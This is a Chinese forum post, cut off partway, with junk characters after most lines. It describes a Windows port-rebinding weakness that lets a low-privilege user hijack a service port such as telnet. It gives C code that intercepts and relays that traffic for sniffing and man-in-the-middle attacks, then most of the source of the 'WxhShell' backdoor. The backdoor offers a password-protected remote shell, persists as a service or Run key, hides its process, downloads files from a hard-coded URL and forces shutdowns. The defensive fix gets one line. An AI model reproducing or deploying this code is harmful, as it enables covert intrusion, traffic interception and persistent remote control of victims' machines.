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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ui;s.f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X[Gk!d r#  
E }j8p_p  
  saddr.sin_family = AF_INET; r:rJv  
fzG1<Gem  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]H7Mx\  
/\I%)B47^9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <5vB{)Tq  
;!sGfrs 0$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r@UY$z  
 M.^A`   
  这意味着什么?意味着可以进行如下的攻击: 80>!qG  
2![W N*N>O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &bK$!8Z  
7V``f:#d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FQ1oqqr  
*lF%8k"Al  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3(p6ak2lv  
!_!b \  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C>VZf,JE1  
x}j41E}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^i1:PlW]  
Y &+/[ [  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *lO+^\HXD  
Mwk_S Cy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +Z]%@"S?  
^C| 9K>M  
  #include _oVA0@#n  
  #include 6^u(PzlA|~  
  #include 5)<jPyC  
  #include    (.+n1)L?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B`EgL/Wg[  
  int main() uNBhVsM6<  
  { :[0 3upyS  
  WORD wVersionRequested; | :[vpJFK  
  DWORD ret; 7E)7sd  
  WSADATA wsaData; a[l5k  
  BOOL val; 1e} 3L2rC  
  SOCKADDR_IN saddr; dq(L1y870  
  SOCKADDR_IN scaddr; =(\!,S'  
  int err; 4=:eGlU93U  
  SOCKET s; :!h H`l}p  
  SOCKET sc; !S{<Xc'wv  
  int caddsize; !WnI`  
  HANDLE mt; +[9"M+4-  
  DWORD tid;   XLxr~Yo  
  wVersionRequested = MAKEWORD( 2, 2 ); <Rt@z|Zv  
  err = WSAStartup( wVersionRequested, &wsaData ); B(dL`]@Xm  
  if ( err != 0 ) { 6s2g+[  
  printf("error!WSAStartup failed!\n"); Ma#-'J  
  return -1; m/Z_HER^  
  } 5C?1`-&65V  
  saddr.sin_family = AF_INET; :h~!#;w_  
   *^_!W'T{j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h_!"CF <n  
gv-k}2u_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s'4p+eJ  
  saddr.sin_port = htons(23); KIJ[ cIw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CU_06A|}  
  { (B#|3o  
  printf("error!socket failed!\n");  cf!R  
  return -1; jXZNr  
  } --sb ;QG  
  val = TRUE; RoRVu,1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iKY&gnu"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _AHVMsz@  
  { X_l,fu^C#$  
  printf("error!setsockopt failed!\n"); )v0vdAh'b  
  return -1; jp`N%O]6  
  } `_)dEu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;0gpS y$#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mo$*KNW%\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +Z*%,m=N(  
I),8EEf\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4[q * 7m  
  { %}:J 9vra  
  ret=GetLastError(); 6B{Awm@v}X  
  printf("error!bind failed!\n"); -AQX-[B  
  return -1; 0f1#T gX  
  } X9HI@M]h  
  listen(s,2); UtrbkuT  
  while(1) 06$9Uz9  
  { P0=F9`3wb  
  caddsize = sizeof(scaddr); h@d m:=ul  
  //接受连接请求 C-Z,L#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }1dh/Cc`  
  if(sc!=INVALID_SOCKET) *93 N0m4Rl  
  { i\G3 u#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9n'p7(s%  
  if(mt==NULL) {9MYEN}FO  
  { 1-#tx*>AY  
  printf("Thread Creat Failed!\n"); Le!I-i( aD  
  break; < r~Tj  
  } ehq6.+l  
  } ,z3b2$ &A  
  CloseHandle(mt); }^q#0`e(y  
  } $Vzfhj-if  
  closesocket(s); 9h{G1XL  
  WSACleanup(); _JH6bvbQ  
  return 0; %ZK}y{u\  
  }   =qRVKz  
  DWORD WINAPI ClientThread(LPVOID lpParam) (1^(V)@  
  { |*$_eb  
  SOCKET ss = (SOCKET)lpParam; x?IT#ty  
  SOCKET sc; *&D=]fG  
  unsigned char buf[4096]; 9':$!Eoq  
  SOCKADDR_IN saddr; T2{+fR v N  
  long num; Cn<x  
  DWORD val; xo$ZPnf(zv  
  DWORD ret; "K<VZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 85mQHZ8aR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E_oe1C:  
  saddr.sin_family = AF_INET; U?QO'H 5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _c2#  
  saddr.sin_port = htons(23); ;l'I. j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :-)[B^0  
  { H=jnCGk  
  printf("error!socket failed!\n"); XvdhPOMy  
  return -1; =j0V/=  
  } [>;O'>  
  val = 100; @!$NUY8,A#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rxARJ so  
  { &%lhov  
  ret = GetLastError(); hd\#Vh(H  
  return -1; BlUY9`VWh@  
  } \w3wh*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,n*.Yq  
  { _$0Ix6y,  
  ret = GetLastError(); sAN#j {  
  return -1; [H1NP'Kg]  
  } VA0TY/{ ]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (`xc3-,  
  { 'SmdU1]4BD  
  printf("error!socket connect failed!\n"); ~#@EjQCq  
  closesocket(sc); c.fj[U|j  
  closesocket(ss); "{k3~epYaN  
  return -1; O,cx9N  
  } W5p}oN  
  while(1) S,H{\c  
  { /2:r}O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >BX_Bou  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5+UiAc$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dY,'6 JzC  
  num = recv(ss,buf,4096,0); .<.qRq-  
  if(num>0) pqe**`z@y  
  send(sc,buf,num,0); i]nE86.;  
  else if(num==0) ^?2txLv,6  
  break; VxCH}&!  
  num = recv(sc,buf,4096,0); 9c6=[3)V  
  if(num>0) <7GK *I  
  send(ss,buf,num,0); =T$E lXwJ  
  else if(num==0) F,sT[C  
  break; _W;u Qg']  
  } ,"'agg:St  
  closesocket(ss); 6]Jv3Re'(I  
  closesocket(sc); Y'-Lt5SCS  
  return 0 ; O v-I2  
  } 4g 1h:I/  
$3L7R  
3X:F9x>y  
========================================================== L8W3Tpi&(  
`G'V9Xs(  
下边附上一个代码,,WXhSHELL P}5aN_v \  
4Z_.Jdu w  
========================================================== >b?,zWiw  
^{s)`j'I*  
#include "stdafx.h" (/Ubw4unI  
g@QpqrT  
#include <stdio.h> c|7Pnx%gT  
#include <string.h> R8 m/N t2  
#include <windows.h> ]HRZ9oP  
#include <winsock2.h> /Hx\ gtV  
#include <winsvc.h> 0^m02\Li  
#include <urlmon.h> vl#/8]0!  
)L{\k$r!EM  
#pragma comment (lib, "Ws2_32.lib") C?O{l%0  
#pragma comment (lib, "urlmon.lib") |3i~?] A  
NB^.$ 3 9n  
#define MAX_USER   100 // 最大客户端连接数 7@sWT<P  
#define BUF_SOCK   200 // sock buffer <ESAoY"RPN  
#define KEY_BUFF   255 // 输入 buffer 4Mprc~ 7vr  
3 !,%;Vz=  
#define REBOOT     0   // 重启 #_E8>;)k  
#define SHUTDOWN   1   // 关机 x!< C0N>?z  
9xWrz;tzo  
#define DEF_PORT   5000 // 监听端口 t~AesHZpk  
yaf2+zV*  
#define REG_LEN     16   // 注册表键长度 b &JPLUr  
#define SVC_LEN     80   // NT服务名长度 y|p:^41Ro  
Qu\E/T`  
// 从dll定义API {M$1?j"7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; etH)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O^f@ g l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '~@WJKk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yqK82z5U*R  
/'I/sWEV  
// wxhshell配置信息 <W?,n%  
struct WSCFG { ~7ArH9k .  
  int ws_port;         // 监听端口 xH=&={  
  char ws_passstr[REG_LEN]; // 口令 >$?Z&7Lv  
  int ws_autoins;       // 安装标记, 1=yes 0=no L+,{*Uj[;  
  char ws_regname[REG_LEN]; // 注册表键名 MT9a1 >  
  char ws_svcname[REG_LEN]; // 服务名 [)*fN|Hy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {>z.y1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4QDW}5xB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b#P8Je`;9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `mMD e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /`1zkBj<&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3{%/1>+x5  
y|@^0]}%<  
}; H(pOR< `  
0trFLX  
// default Wxhshell configuration ';1 c  
struct WSCFG wscfg={DEF_PORT, UpgOU.  
    "xuhuanlingzhe", nyIb8=f  
    1, J@Li*Ypo  
    "Wxhshell", 7DI8r|~  
    "Wxhshell",  E5o0^^  
            "WxhShell Service", P`"dj@1'  
    "Wrsky Windows CmdShell Service", 9@h>_1RJz  
    "Please Input Your Password: ", qYpHH!!C=  
  1, x[vX|oE!A  
  "http://www.wrsky.com/wxhshell.exe", mU3UQ j  
  "Wxhshell.exe" sOHh&e  
    }; pZH bj2~  
6@T_1  
// 消息定义模块 Y`M.hYBXk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^iGIF~J9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GxvVh71zP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @}FRiPo6  
char *msg_ws_ext="\n\rExit."; S`J_}>  
char *msg_ws_end="\n\rQuit."; BFMM6-Ve  
char *msg_ws_boot="\n\rReboot...";  V C.r  
char *msg_ws_poff="\n\rShutdown..."; nZ{~@E2  
char *msg_ws_down="\n\rSave to "; MM97$  
LJBoS]~  
char *msg_ws_err="\n\rErr!"; %TLAn[LW(  
char *msg_ws_ok="\n\rOK!"; 0]"j,  
,@P3!|  
char ExeFile[MAX_PATH]; [0 W^|=#K  
int nUser = 0; Edjh*  
HANDLE handles[MAX_USER]; F~{ 4)`  
int OsIsNt; &;y(@e }D  
4gYP .h:,  
SERVICE_STATUS       serviceStatus; I\[*vgjm3G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vbSz&+52;  
>z( 6ADq  
// 函数声明 fxc~5~$>  
int Install(void); p}j{ <y  
int Uninstall(void); K46mE   
int DownloadFile(char *sURL, SOCKET wsh); QJv,@@mu  
int Boot(int flag); B aXzz  
void HideProc(void); ^c=@2#^\  
int GetOsVer(void); \TKv3N  
int Wxhshell(SOCKET wsl); ncWASw`  
void TalkWithClient(void *cs); [%b<%m}L-  
int CmdShell(SOCKET sock); 87*R#((  
int StartFromService(void); s&c^Wr  
int StartWxhshell(LPSTR lpCmdLine); !1!uB }  
Uqkh@-6-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BG'gk#J+f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q,s,EooIx  
<H$CCo  
// 数据结构和表定义 QJ$]~)w?H  
SERVICE_TABLE_ENTRY DispatchTable[] = MY0Wr%@#0  
{ KYlWV<sR  
{wscfg.ws_svcname, NTServiceMain}, OnG!5b  
{NULL, NULL} ag] nVE/  
};  R z[-  
6R?J.&|  
// 自我安装 hwexv 9""  
int Install(void) ^tpy8TQ  
{ [7$<sN<'  
  char svExeFile[MAX_PATH];  s cn!,  
  HKEY key; ^6Xio6W  
  strcpy(svExeFile,ExeFile); K7CiICe  
xvgIYc{  
// 如果是win9x系统,修改注册表设为自启动 %.Mtn%:I *  
if(!OsIsNt) { 0ai4%=d-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {(t (}-:Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f(9w FT  
  RegCloseKey(key); ,,@_r&f:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +|o -lb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ysL8w"t  
  RegCloseKey(key); hzPpw.  
  return 0; [t ^|l?  
    } `5>IvrzXrK  
  } Bw{W-&$o  
} E6n;_{Se/S  
else { <@Ew-JU  
?lbX.+  
// 如果是NT以上系统,安装为系统服务 Gk!v-h9cq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~>{<r{H"S  
if (schSCManager!=0) Q>X ;7nt0  
{ Phx/9Kk  
  SC_HANDLE schService = CreateService 8_KXli}7=  
  ( ."3 J;j  
  schSCManager, 5|AZ/!rb  
  wscfg.ws_svcname, /AWHG._  
  wscfg.ws_svcdisp, 2y,~i;;_  
  SERVICE_ALL_ACCESS, 89WuxCFS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U~7.aZHPx3  
  SERVICE_AUTO_START, !N!M NsyDz  
  SERVICE_ERROR_NORMAL, [J:vSt  
  svExeFile, !WbQ`]uN/#  
  NULL, Th"7p:SE?  
  NULL, + J_W}G  
  NULL, ]ImS@!Ajjx  
  NULL, 7\jH?Zi  
  NULL J\2F%kBej?  
  ); TzPVO>s  
  if (schService!=0) 654PW9{(  
  { Z3[,Xw  
  CloseServiceHandle(schService); M`"2;  
  CloseServiceHandle(schSCManager); W>+<r9Rt4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c5U1N&k5&  
  strcat(svExeFile,wscfg.ws_svcname); 9N9|hy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1a%*X UT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I\4 I,ds  
  RegCloseKey(key); ti'OjoJL  
  return 0; &M<431y  
    } A~h8 >zz*  
  } slw^BK3t  
  CloseServiceHandle(schSCManager); !(+?\+U lE  
} rvOR[T>  
} k 9s3@S  
Xst&QKU  
return 1; NbgP,-  
} i3f/{D/  
`M\L 6o  
// 自我卸载 yQ&;#`!'  
int Uninstall(void) t6~|T_]  
{ s'/ug  
  HKEY key; 64zO%F*  
&(wik#S  
if(!OsIsNt) { Av/|={i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .k[Ptx>  
  RegDeleteValue(key,wscfg.ws_regname); @ '<lD*W  
  RegCloseKey(key); =. OW sFv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *r(iegO$  
  RegDeleteValue(key,wscfg.ws_regname); Oi7:J> [  
  RegCloseKey(key); M8 ++JI  
  return 0; F2+lwycY  
  } {'{ssCL  
} g%^Zq"  
} F[~qgS*;  
else { # U!J2240  
~lQ]PKJ"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l1YyZ^Z  
if (schSCManager!=0) BhNwC[G?m  
{ LG51e7_gFi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hWuq  
  if (schService!=0) k%c ?$n"  
  { sp AYb<  
  if(DeleteService(schService)!=0) { c*LnLK/m  
  CloseServiceHandle(schService); 3):7mE(  
  CloseServiceHandle(schSCManager); I8?egDkk  
  return 0; 6:QJ@j\  
  } GY0<\-  
  CloseServiceHandle(schService); 0z\=uQ0  
  } 23+>K  
  CloseServiceHandle(schSCManager); )v'3pTs2  
} 48w3gye  
} m@"!=CTKd  
JB* *z00;  
return 1; y:pypuwt;  
} 'O2{0  
];oED?I  
// 从指定url下载文件 w/Ia` Tx$  
int DownloadFile(char *sURL, SOCKET wsh) drF"kTD"7  
{ D|UDLaz~  
  HRESULT hr; <:/V`b3a  
char seps[]= "/"; >>&~;PG[  
char *token; [<OMv9(l'o  
char *file; }8 ,b; Q  
char myURL[MAX_PATH]; !'n+0  
char myFILE[MAX_PATH]; Qg1LT8  
cj5p I?@e)  
strcpy(myURL,sURL); :qw:)i  
  token=strtok(myURL,seps); \b~zyt6-  
  while(token!=NULL) - !7QH'  
  { VSM%<-iQ  
    file=token; |h8C}P&Z  
  token=strtok(NULL,seps); m|e!1_ :H  
  } D*_ F@}=  
/l@7MxE  
GetCurrentDirectory(MAX_PATH,myFILE); :90DS_4  
strcat(myFILE, "\\"); $g 5pKk  
strcat(myFILE, file); Rm6<"SLV  
  send(wsh,myFILE,strlen(myFILE),0); "PnYa)?1  
send(wsh,"...",3,0); ZH/|L?Q1U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XBi@\i=  
  if(hr==S_OK) A9F&XF7{  
return 0; &>sG x K  
else Jtc?p{  
return 1; h]G }E9\l  
'(I"54W  
} &zUo",}9  
;`@DQvVZ:  
// 系统电源模块 iZ)7%R?5  
int Boot(int flag) wG19NX(  
{ 4W$53LP8  
  HANDLE hToken; |yw-H2k1  
  TOKEN_PRIVILEGES tkp; l,pq;>c9a  
7dN]OUdi  
  if(OsIsNt) { D[yaAG<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W9.Z hpM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bqa%L.N2SS  
    tkp.PrivilegeCount = 1; :|P"`j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3^ wJ4=^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6lsU/`.  
if(flag==REBOOT) { SlsMMD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NIQa{R/H  
  return 0; q0SvZw]f1  
} CuU"s)  
else { >0B [  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (w@|:0t^y[  
  return 0; JA())0a  
} h4!$,%"''  
  } {/ZB>l@D>8  
  else {  m ,qU})  
if(flag==REBOOT) { C6Dq7~{B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c[J#Hc8;  
  return 0; pO=bcs8Z  
} 0nG& LL5  
else { <)y'Ot0 y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z{;W$SO 2  
  return 0; O:pQf/Xn  
} nvgo6*  
} Sr%~ 5Q[W  
Ow+7o@$"/  
return 1; &UQKZ.  
} Pbd#Fu;  
$Iv*?S"2  
// win9x进程隐藏模块 j@2-^q:`  
void HideProc(void) ';zLh  
{ \ >1M?  
kMN z5P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]qhVxeUm  
  if ( hKernel != NULL ) *)g*5kKN  
  { ]!0 BMZmf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v;jrAND  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u&r @@p.  
    FreeLibrary(hKernel); )QFT$rmX  
  } ;k(|ynXv  
~d){7OG  
return; ) Q~Q .  
} 5N`g  
Br1JZHgA  
// 获取操作系统版本 F_\\n#bv  
int GetOsVer(void) tgc&DT; E  
{ 7s>d/F3*  
  OSVERSIONINFO winfo; sW|u}8`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;MNEe% TJ  
  GetVersionEx(&winfo); 2|w(d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D[:7B:i  
  return 1; Qt]nlui~  
  else 1QjrL@$>15  
  return 0; aN%t>*?Xa  
}  YVD%GJ  
UU$ +DL  
// 客户端句柄模块 plb'EP>e  
int Wxhshell(SOCKET wsl) G@ed2T  
{ ;bkS0Vmg  
  SOCKET wsh; YWd:Ok0  
  struct sockaddr_in client; D;d 'ss;  
  DWORD myID; f5mk\^  
gd#  
  while(nUser<MAX_USER) %Xkynso~  
{ |'Ve75 W6u  
  int nSize=sizeof(client); -V_e=Y<J/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >L[,.}(9  
  if(wsh==INVALID_SOCKET) return 1; klv^310  
Ya304Pjd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e[>(L%QV+  
if(handles[nUser]==0) 3)__b:7J  
  closesocket(wsh); 3l5q?"$  
else 2Xe2 %{  
  nUser++; d=N5cCqq  
  } u&2uQ-T0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [C P V5\2  
=xai 7iM  
  return 0; ?8YHz  
} zSDiJ$Xk  
>d#B149  
// 关闭 socket ;( VJZ_  
void CloseIt(SOCKET wsh) M /Bn^A8@  
{ LOR$d^l  
closesocket(wsh); ^Q2K0'm5  
nUser--; ?HZ+fS ,-  
ExitThread(0); :%!=Ej.J  
} ~A>3k2 N/e  
V u;tU.  
// 客户端请求句柄 gHYYxhW$  
void TalkWithClient(void *cs) B6OggJ9Iq  
{ 0y2iS' t  
|p.mA-81  
  SOCKET wsh=(SOCKET)cs; P0}uTee  
  char pwd[SVC_LEN]; %+>I1G  
  char cmd[KEY_BUFF]; T~`m'4"+c  
char chr[1]; tUz!]P2BUO  
int i,j; vHJ~~if  
U%w ?muJW  
  while (nUser < MAX_USER) { aMh2[I  
1UxRN7  
if(wscfg.ws_passstr) { 7&|fD{:4U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tet,mzVuu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YNk?1#k?i  
  //ZeroMemory(pwd,KEY_BUFF); ?Za1  b  
      i=0; L{<E'#@F  
  while(i<SVC_LEN) { "1h|1'S50?  
|]\qI  
  // 设置超时 0#XZ_(@%  
  fd_set FdRead; Gq+!%'][P  
  struct timeval TimeOut; c1jgBty  
  FD_ZERO(&FdRead); vseuk@>  
  FD_SET(wsh,&FdRead); #UI@<0P)  
  TimeOut.tv_sec=8; 0^:O:X  
  TimeOut.tv_usec=0; &ATjDbW*(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }g>&l.2X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]>*Z 1g;  
=GFlaGD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |w:7).P  
  pwd=chr[0]; ]U'KYrh  
  if(chr[0]==0xd || chr[0]==0xa) { DQKhR sC  
  pwd=0; LD]XN'?"W  
  break; gd/W8*NFR  
  } l,,5OZw  
  i++; 9K FWa0G  
    } t6s#19g  
\CU.'|X  
  // 如果是非法用户,关闭 socket -DU[dU*~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'OkF.bs  
} CW, Kw  
l(%bdy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OC"W=[Myl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J"I{0>@  
^om(6JL2  
while(1) { s.Yywy  
9J0m  
  ZeroMemory(cmd,KEY_BUFF); U,aV {qz  
^ 8egn|  
      // 自动支持客户端 telnet标准   gQ,PG  
  j=0; /':kJOk<[  
  while(j<KEY_BUFF) {  A5Y z|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S :9zz  
  cmd[j]=chr[0]; * J~N  
  if(chr[0]==0xa || chr[0]==0xd) { #Z (B4YO  
  cmd[j]=0; LI"ghz=F  
  break; & 7JCPw  
  } 95?$O~I  
  j++; gbQrSJs!Zh  
    } ix*n<lCoC  
dM#\h*:=  
  // 下载文件 o!\Vk~Vi&  
  if(strstr(cmd,"http://")) { A GS?<6W-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n#bC ,  
  if(DownloadFile(cmd,wsh)) TJ2$ Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 LoB-4u?  
  else W}a&L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cFD(Ap  
  } PHZA?>Q7Z  
  else { C+*: lLY  
NC@OmSR\0  
    switch(cmd[0]) { z.P) :Er  
  v\0[B jhL?  
  // 帮助 &*[T  
  case '?': {  h ej  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1r|'n aiZ  
    break; oT%~)g  
  } Pou`PNvH  
  // 安装 f{k2sU*uBE  
  case 'i': { PgxD?Oi8  
    if(Install()) 5?%(j!p5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iI&J_Y{1a_  
    else ^'6!)y#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WPCaxA+l  
    break; ~.yt  
    } 4^  $  
  // 卸载 l;F3kA  
  case 'r': { >/ W:*^g)  
    if(Uninstall()) \ec,=7S<Zf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 45Uo'  
    else JX`+b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DY0G ;L 3  
    break; zF3fpEKe  
    } W@JmG`Sy  
  // 显示 wxhshell 所在路径 3dQV5E.  
  case 'p': { Jc(tV(z  
    char svExeFile[MAX_PATH]; yA \C3r'  
    strcpy(svExeFile,"\n\r"); a 0Hzf  
      strcat(svExeFile,ExeFile); pRc@0^G  
        send(wsh,svExeFile,strlen(svExeFile),0); _{C:aIl[2  
    break; *:aJlvk  
    } aQ46euth  
  // 重启 Y(-4Agq  
  case 'b': { Y!Wz7 C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G>d@lt  
    if(Boot(REBOOT)) [#M^:Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bAGQ  
    else { )&;?|X+p  
    closesocket(wsh); 9JJ(KY  
    ExitThread(0); =| %:d:r  
    } Y u8a8p|  
    break; nO,<`}pV  
    } 7%&#V2  
  // 关机 ZlUd^6|:3  
  case 'd': { A"2k,{d  
